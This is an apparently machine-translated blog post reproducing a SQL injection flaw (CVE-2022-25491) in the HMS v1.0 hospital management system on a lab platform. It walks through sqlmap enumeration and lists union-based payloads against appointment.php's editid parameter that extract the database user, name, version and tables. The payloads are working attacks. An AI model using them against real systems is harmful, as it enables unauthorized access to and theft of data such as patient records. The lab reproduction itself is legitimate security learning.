当前位置:网站首页>HMS v1.0 appointment. PHP editid parameter SQL injection vulnerability (cve-2022-25491)
HMS v1.0 appointment. PHP editid parameter SQL injection vulnerability (cve-2022-25491)
2022-07-04 05:43:00 【sec0nd_】
List of articles
Preface
During the summer vacation, I have nothing to do to shoot a target
It's using vulfocus Online platform , I used it for the first time , I didn't expect that only 15min, and , There is no wp, This recurrence is not complete , Let's talk about the process
Vulnerability description
Hospital management system (HMS) It is a system based on computer or network , It helps to manage the operation of hospitals or any medical institutions . The system or software will help make the whole function paperless . It will be about patients 、 Doctor 、 staff 、 All the information of hospital management details is integrated into one software . It consists of various professionals in the hospital .
HMS v1.0 Be found to contain through adminlogin.php、Patientlogin.php Of SQL Inject holes . admin/123456789
The recurrence process
Train of thought
I thought the description admin and 123456789 It's the end result , You need to inject what you get .
Just go straight up sqlmap 了
On the login screen There are two parameters

Enter one randomly and grab it 
the reason being that post request , You need to export the data package , selected loginid Parameters 

You can see that there are four databases
selected hms The library queries the tables 

Because time is too slow , But the time for a target aircraft environment is only 15min
Here we see user surface , Directly select user Watch
Inquire about user Column in table 

Here you can see that there are three fields
Read The values of these three fields


Come here , I found the password is wrong , No 123456789
This idea has been interrupted here
Train of thought two
This idea refers to https://www.cnblogs.com/HOPEAMOR/p/16251404.html
the reason being that appointment.php In the document editid Parameter vulnerability , So you need to log in
find appointment page
send out payload
/appointment.php?editid=-1%27union%20select%201,2,3,4,5,6,7,8,9,user()%23# View current connected users

/appointment.php?editid=-1%27union%20select%201,2,3,4,5,6,7,8,9,database()%23# View the currently connected database

/appointment.php?editid=-1%27union%20select%201,2,3,4,5,6,7,8,9,version()%23# View the current database version

/appointment.php?editid=-1%27union%20select%201,2,3,4,5,6,7,8,9,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database())%23# Query all tables

Finally, time-based injection ,emm I didn't understand this , No response , I don't know which table to read
Because I want to watch a play at the weekend
This idea is also temporarily interrupted ……
边栏推荐
猜你喜欢

The end of the Internet is rural revitalization

The data mark is a piece of fat meat, and it is not only China Manfu technology that focuses on this meat

Just do it with your hands 7 - * project construction details 2 - hook configuration

LM small programmable controller software (based on CoDeSys) note 22: error 4268/4052

Steady! Huawei micro certification Huawei cloud computing service practice is stable!

How to configure static IP for Kali virtual machine

Graduation design of small programs -- small programs of food and recipes

Input displays the currently selected picture

Overview of relevant subclasses of beanfactorypostprocessor and beanpostprocessor

BUU-Crypto-Cipher
随机推荐
总线的基本概念
Nodejs learning document
1480. 一维数组的动态和
拓扑排序和关键路径的图形化显示
光模块字母含义及参数简称大全
Void convolution, deformable convolution, deformable ROI pooling
BeanFactoryPostProcessor 与 BeanPostProcessor 相关子类概述
Integer type of C language
[high concurrency, high performance and high availability of massive data MySQL practice-7] - memory data drop disk
How to get the parent node of all nodes in El tree
云原生架构实战案例及优化解决方案
卸载Google Drive 硬盘-必须退出程序才能卸载
Flask
LM small programmable controller software (based on CoDeSys) note XXI: error 3703
LM small programmable controller software (based on CoDeSys) note 22: error 4268/4052
How to use postman to realize simple interface Association [add, delete, modify and query]
Configure cross compilation tool chain and environment variables
The end of the Internet is rural revitalization
谷歌 Chrome 浏览器将支持选取文字翻译功能
如何展开Collapse 的所有折叠面板